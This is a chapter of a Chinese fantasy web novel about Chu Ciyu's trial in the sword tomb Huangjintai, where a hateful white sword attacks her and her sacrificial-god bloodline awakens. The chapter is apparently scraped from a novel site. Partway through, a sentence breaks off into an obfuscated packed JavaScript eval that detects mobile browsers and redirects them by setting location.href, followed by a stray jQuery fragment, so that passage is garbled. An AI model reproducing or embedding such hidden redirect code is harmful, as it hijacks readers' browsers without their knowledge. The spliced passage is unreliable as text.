默认冷灰
24号文字
方正启体

10. 祭神血

作者:与荆本书字数:K更新时间:
    黄金台深处自成天地,不享外界日月光辉,天色永远是赤金的。


    楚慈玉身处一片丘陵中,四周尽是连绵起伏的低矮山丘,如涛似浪一望无际,脚下道路由残刃断剑铺就,有些地方锈迹斑斑,好似干涸的血迹。


    她目前感觉一切还好。


    剑对楚慈玉的灼烫说轻不轻,说严重又没有非常严重,至少此刻有鞋履相隔,她尚能正常行走。


    带来更多影响的是剑道上肆无忌惮地横行着的剑气,在剑气萦绕下,楚慈玉感觉些许不适,皮肤也开始泛红生疼,她摸摸自己红扑扑的脸颊,有点心痛。


    眼前道路弯弯绕绕,看不到尽头,死寂。


    陡然,道旁遥遥的山顶上冒出了不少剑尖,那些细长或粗沉的,银光烁烁或漆黑似井或碧如翡翠的剑身慢慢显现,数柄剑像是探出头的小兽,警惕打量着来者。


    他们之中有锃亮剑身的家伙们,无意将黄金台赤金的天色反射到楚慈玉身上。


    楚慈玉很淡定地侧了侧身,避开。


    但这只是先兆,随之而来的是轰隆声。


    蓦然,天际传来巨响,如雷盛怒。


    楚慈玉抬眼望去,只见黄金台一时间剑气冲天,漫山遍野尽带银光,锋刃破空乘风,正以不可阻挡的趋势朝她奔涌而来!


    剑,闻生者气息而动。


    它们都来看楚慈玉了。


    她耳中一时间盈满细语,叽叽喳喳,辨不出男女老少,但楚慈玉知道这是剑在说话,由于某些原因,她从小就能听到这些非人的器物说话。


    “是谁?风中传来剑很喜欢的气息。”


    “剑的天,她的根骨怎么一截好一截坏?”


    “剑东西们,要跟她走吗?”


    “我挺想的,但我觉得我不是她的有缘人。”


    “至少去她面前亮亮相吧,万一呢?”


    “不打扰也是一种友好。”


    “别管那么多了,我就想靠近瞅瞅。”


    它们喋喋不休,大多数都径直朝楚慈玉飞来了。这些剑自认为停在了很有分寸的地方,但实际剑尖离她也就一两寸,看起来很危险。


    四方堂里旁观的人心神一震,但楚慈玉知道它们没有恶意,所以允许它们挨着她,然后继续平平稳稳地走自己的路。


    偶尔有剑靠得太近,不慎在她的浅紫衣袍上划破一个口子,楚慈玉就不宽容地瞪它一眼。


    于是,肇事剑抖了抖,立马缩回其他剑身后,两声嗷呜嗷呜的哭声也传入楚慈玉的耳中。


    剑是单纯的器物,很少主动伤人。


    但渐渐地,来看她的剑太多了,几近遮天蔽日,黑压压一片,盖过了原本低矮的山丘,成了连绵不止的剑山刃海。


    剑交头接耳时耸动剑身,带起嗡嗡剑鸣,似滚滚而来的波涛,直直灌入楚慈玉耳中。


    很快,有什么温热的液体立马从耳中流淌出来,滑过耳垂带来痒意。


    楚慈玉一抹,血色被抹匀在她指尖。她浓睫动了动,看见更多血珠慢慢滴落到地面上,不止耳朵流血了,喉咙间也涌着腥甜。


    蜂拥而来的剑齐齐退后了一些,难以相信她居然会被剑鸣伤到,诧异于她的脆弱。


    而楚慈玉自觉还能忍受,只是将指尖血珠一甩就继续往前走。她放过大话说黄金台要不了她的命了,也实在想做黎姿的弟子,所以不会为此驻足。


    如果黄金台的考验只有剑鸣的话,她很快就能出去。残刃铺就的剑道上,被甩落的血珠划过丝缕金光。


    四方堂里,尊者们闲谈着。


    “不错,能引得万剑齐瞻说明还是有禀赋的,上次见这阵仗还是折青这小子头回进黄金台的时候了。不过折青命星有九十九颗,这位小友只有他的零头,可惜了。”


    “剑挑人不看命星看根骨,也有凡人收复神剑的先例,照理说她的根骨应当不错,可为什么还没有剑出来认主?”


    “认主有什么用,这位小友庚金辛金两脉无命星,连剑都握不了,剑术一门于她就是镜花水月。”


    “也不尽然,倘若——”


    铮!


    照月镜传来的一声高昂剑啸斩断了他们的聊兴,黎姿拧眉看过去,却见黄金台内的苍穹不知何时被染成血红。


    浓红灼了半边天,不断侵噬着原本的赤金,血色滚滚似狼烟,释放着杀意。


    楚慈玉就立在这片血空之下,黄金台里阴沉了不少,原本围绕着她的灵剑仓惶后退,一副唯恐躲避不及的模样。


    剑啸后,楚慈玉耳边再无剑说话,只余死寂,白茫茫得令人心惊。


    楚慈玉微微叹气,心说果然没那么简单。


    她的念头灵验很快。


    很快,一道尖利的破空声炸响在黄金台无云的血色苍穹,掀起的气浪卷起了整个剑冢的尘埃,灵剑们又不约而同退了百步远,如临大敌。


    肃杀之气里,一柄皓白如雪的剑疾驰而来,快到人无法反应,它二话不说,直直刺向楚慈玉的左肩!


    楚慈玉来不及侧身,不得不正面接住剑刃。


    锋刃如削泥般划开她掌心皮肉,一个呼吸间就留下深可见骨的伤痕,血流如注,很是可怖。


    但她顾不上伤势,只是绷紧了手臂肌肉,小臂隐隐有青色纹路浮现,全身力气被倾注于掌中!


    凡人也能炼体,只是需要许多天材地宝,效果当然也不如修士好,但作为鲸洲圣女,楚慈玉比其他人的优势大概就在于此,天材地宝对她来说跟雨水没什么两样。


    如此下来,竟也慢慢逼停了雪剑。


    他们相搏着气力。


    而直到此刻楚慈玉才有空细看这柄剑,它通体雪白,纯净无杂色,就连剑鞘也似霜月,瞧着是柄娴雅温和的灵器。


    可它为什么对她那么凶?


    手心的灼痛不止,楚慈玉蹙眉,面无表情地看着自己的鲜血慢慢浸染剑身。


    剑浴血,雪色渐渐变作赤红,而楚慈玉忽然心神一震,察觉到了什么。


    “你是——”


    她的话被打断。


    “我恨你。”


    楚慈玉眼眸微睁,怔然失语。


    而雪剑嗡嗡震动,恨不得剜下她的肉。


    她听见它说话,软糯尖细的嗓音,偏小女孩,带来无尽熟悉。


    “黄金台说来的人与我有缘,那时我就猜到是你,可我不想见。黄金台见我不肯,居然强行传我来此,它一定是疯了。”


    “你为什么这么晚才来,既然已经过了这么久,你又为什么要来?”


    “楚慈玉,你比我们第一次见面时差劲多了。”


    “你看看你自己,神骨一片不存,命星黯淡,你变成了这样一个废物,所以才来找我?你知道黄金台外面那些修士如今怎么称呼我吗,他们说我是上古凶剑。我无主千年,自生灵体,黄金台里没有任何一件灵器比得上我。我当初就看不上你,如今更看不上你了!”


    “我讨厌废物,更讨厌不知天高地厚的废物,你给我即刻离开黄金台,不然我一定杀了你!”


    雪剑的话带着无比的嫌恶。


    它划破的面前人的伤口还在汨汨流血,血液从剑锋蔓延到剑鞘时已经微凉,这抹冷然淌得它顿了顿,但它依旧没有放松力气,铁了心要逼退楚慈玉。


    透过血色,它看见她古井无波的眼眸。雪剑的灵识不可抑地瑟缩一下,像被针扎到。


    废物,这个词让楚慈玉心生厌烦。


    在鲸洲那座空荡的王宫里,在黑洞洞没有光亮的夜晚,她总能听到宫人的私语,能听到那些掩在唇后的恶意。


    废物,恶心,天生招人厌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579210|205072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,为什么不去死,这些话她听尽听倦了。到如今,这些话不会让她难过了,只会让她厌烦。


    “我来黄金台不是来找你的。”


    楚慈玉揉了揉耳垂,像是被噪音吵到似的。她搭起眼帘,鸦睫下的眸子雪亮,不轻不重地抛下这一句。


    雪剑闻言一愣,随即暴怒。


    但就在它愣怔的那一瞬,楚慈玉牢牢握着它的剑身,与它相搏着力气,她手臂上的青色纹路更浓了几分,强行让对着自己肩头的剑锋开始偏移。


    “说废物谁是废物?”


    “我可从来没觉得自己是废物。”


    她想,我不是废物,我被生下来的时候没人问过我愿不愿意,天道给予众生命运时从来没考虑众生的感受。


    “而且,我当初也没看上你吧。”


    淋淋鲜血中,楚慈玉面无表情地握着剑锋抵在自己腹部往上一点的位置。


    “想杀我就往命府刺,凡人和修士的要害都在这里,你不会不清楚吧?既然你自诩凶剑,你应该尝过人命的滋味。”


    她每个字都咬得很轻。


    “我给你机会。”


    雪剑有点慌乱,想挣脱她的手。


    但来不及了,楚慈玉将它往自己命府狠狠一送。霎时间,流金般的血液喷溅出来,淋在雪剑上,金血蜿蜒如虫,如枷锁般迅速攀上雪剑剑身,以极强的攻势攻城掠地。


    雪剑当即惨叫一声。


    四方堂里,静脉尊者有些恍惚。


    “我已经很多年没见过如此纯净的祭神血脉了。”


    祭神血脉,上古十四洲的最强血脉之一,为鲸洲皇室独有。此血脉者天生慧极,能沟通天地,修行一日千里。


    在神血传承还没断的那个时代,鲸洲历代青帝只有拥有至纯至盛的祭神血才能名正言顺登帝,但后来随岁月更迭,神血不受控制地滑向斑驳。


    今日的鲸洲青帝周身血脉无半点金光,唯有前任圣子还尚承一息神血。她本以为鲸洲神血传承已尽,谁料,到了楚慈玉这一代,竟然回光返照。


    “难怪……”


    她想起些什么,惘然一叹。


    照月镜不能传达声音,四方堂内的尊者只能看见黄金台里无声的血色一幕,郁晚蔓忧心得直叹气,她取下腰间的尊者令,道:


    “内阁弟子听令,去黄金台把慈玉带出来。”


    正紧锁着眉的黎姿当即看向她。


    “心软太过只会适得其反,你不该替她做决定,既然她自己想争,该让她争到最后!”


    “雪剑凶气太盛,稍有差池性命难保,”郁晚蔓稍微退步了些,但依旧坚决,“先叫个人进去看着,若她撑得住就不带出来。”


    言罢,她抛出尊者令。


    尊者令化作流光,任意一个内阁弟子皆可接下,栾延月扶上腰间佩剑,正欲动身,一阵风却猝不及防地刮过她。


    是燕折青动身了,他比谁的速度都快,抢先夺下流光,施咒迅雷般离去,留其余人原地讶然。


    栾延月压着怒,胸膛微微起伏。


    而姬妙音罕见地清醒着,她打了个哈欠,盯着照月镜思索片刻,觉得自己也想去。


    毕竟里头那位不是她未来师妹,就是她未来徒弟。


    姬妙音扁扁地走到黎姿身旁,扯下对方腰间的尊者令。


    黎姿没好气地瞪她。


    姬妙音很无辜,“干嘛。”


    尊者令在她手里化成流光,姬妙音背着的重剑得令,拖着自己懒散的主人,风驰电掣地赶去黄金台。


    而静脉尊者只是微微笑。


    “哎。”


    她轻啧,不紧不慢地喝茶,笑意温和。


    “还是太年轻了。”


    “那可是霸道至极的祭神血脉,通达天地,可不要小瞧它的威力。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)